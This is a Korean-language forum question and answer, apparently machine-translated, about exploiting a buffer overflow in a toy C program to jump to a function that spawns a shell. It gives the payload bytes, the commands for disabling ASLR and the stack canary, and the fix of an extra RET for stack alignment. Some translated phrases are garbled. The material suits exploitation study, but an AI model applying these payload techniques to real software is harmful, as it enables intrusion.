저는 교육 목적으로 버퍼 오버플로 취약점을 악용하고 있습니다. 내 목표는 RIP를 변경하고 사악한 기능을 대상으로 셸을 실행하는 것입니다. 저는 우분투 18.04 64비트를 사용하고 있습니다. code.c는 다음과 같습니다.
#include <stdio.h>
#include <stdlib.h>
void main(void)
{
char buf[20];
printf("Give me your name: ");
gets(buf);
printf("\nYour name is %s\n", buf);
return;
}
void evil(){
printf("Evil function entered\n");
system("/bin/sh");
printf("Evil function exited\n");
return;
}
작업을 더 쉽게 하기 위해 카나리아를 비활성화하는 GCC 옵션을 사용하여 이 코드를 컴파일했습니다 -fno-stack-protector
. 또한 다음 명령을 사용하여 ASLR을 비활성화했습니다 sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
. 따라서 프로그램의 메모리 주소는 절대 변경되지 않으므로 작업이 훨씬 쉬워집니다.
code.c의 컴파일된 버전에서 GDB를 통해 다음 정보를 얻었습니다.
버퍼는 다음으로 시작됩니다.0x7fffffffde80
RIP는 다음 위치에 저장됩니다.0x7fffffffdea8
0x7fffffffdea8 - 0x7fffffffde80 = 40
. 따라서 40바이트의 패딩을 삽입해야 합니다.
사악한 함수의 입구는 에 있으며 0x55555555475f
리틀 엔디안에서는 다음과 같습니다.
\x5f\x47\x55\x55\x55\x55\x00\x00
(2개의 \x00을 추가하여 전체 8바이트 주소를 구성합니다.)
최종 페이로드는 다음과 같습니다.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00
이제 파일에 저장합니다.
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00" > input.txt
마지막으로 프로그램을 실행하고 input.txt
콘텐츠를 입력으로 전달합니다.
cat input.txt - | ./code
-
눈치채다고양이가 나가는 것을 방지.
내 터미널에 다음이 표시됩니다.
Give me your name:
Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_GUUUU
Evil function entered
Evil function exited
Program received signal SIGSEGV. Segmentation fault. Core dumped.
놀랍게도 사악한 기능은 실행은 되지만 /bin/sh
팝업은 되지 않습니다. 사용자에게 명령을 요청하지 않고 즉시 종료됩니다. 어느 시점에서 표준 입력이 터미널에서 분리되는 것 같습니다.
문제는 명령을 실행하기 위해 쉘을 팝업하는 방법입니다. 이것은 일종의 보안 보호입니까?
감사해요.
답변1
마침내 이 문제를 해결했습니다.
스택이 16바이트로 정렬되지 않으면 C 라이브러리의 system() 함수가 실행되지 않습니다.
내 경우에는 스택을 16바이트 경계에 정렬하는 것을 잊어버렸기 때문에 system("/bin/sh");
올바르게 실행되지 않아 쉘이 트리거될 수 없습니다.
실제로 x86-64에서는System V ABI에서는 스택이 16바이트로 정렬되어야 합니다.CALL 어셈블리 명령을 실행하기 전. 그렇지 않으면 결과를 예측할 수 없습니다. 따라서 이는 system() 함수에만 적용되는 것이 아니라 모든 함수에 적용됩니다.
내 스택이 8바이트로 정렬되지 않았기 때문에 ROP 체인에 추가 RET를 추가하면 스택이 올바르게 정렬됩니다.
이제 나는 성공했습니다.